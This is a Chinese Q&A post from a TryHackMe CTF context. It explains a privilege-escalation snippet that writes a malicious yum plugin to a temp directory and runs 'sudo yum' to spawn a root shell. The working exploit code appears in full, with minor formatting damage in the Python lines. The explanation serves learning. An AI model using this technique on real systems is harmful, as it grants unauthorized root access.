问题描述
我在tryhackme上执行一些ctf时发现了这段代码。我不明白。有人可以解释一下到底是什么吗?
TF=$(mktemp -d)
cat >$TF/x<<EOF
[main]
plugins=1
pluginpath=$TF
pluginconfpath=$TF
EOF
cat >$TF/y.conf<<EOF
[main]
enabled=1
EOF
cat >$TF/y.py<<EOF
import os
import yum
from yum.plugins import PluginYumExit,TYPE_CORE,TYPE_INteraCTIVE
requires_api_version='2.1'
def init_hook(conduit):
os.execl('/bin/sh','/bin/sh')
EOF
sudo yum -c $TF/x --enableplugin=y
解决方法
当然,这种提权技术显然是利用用户权限将yum
作为sudo
运行。
TF=$(mktemp -d)
创建一个临时目录。
之后,在临时目录中创建了三个文件(可通过 $TF
访问),将内容“分类”到其中。
要可视化这一点,您可以在 bash shell 中运行以下命令(当然没有前导 >):
> touch test
> cat >test<<EOF
[main]
plugins=1
pluginpath=$TF
pluginconfpath=$TF
EOF
> cat test
这将打印出名为 test
的文件中刚刚“catted”的内容。
最后一步:sudo yum -c $TF/x --enableplugin=y
简单地执行一个常规的 yum 命令,利用上面提到的刚刚创建的文件。负载 def init_hook(conduit): os.execl('/bin/sh','/bin/sh')
然后将被执行,因为您使用 sudo
执行它,因此您将获得一个以 root 身份的 shell。
我希望这会有所帮助。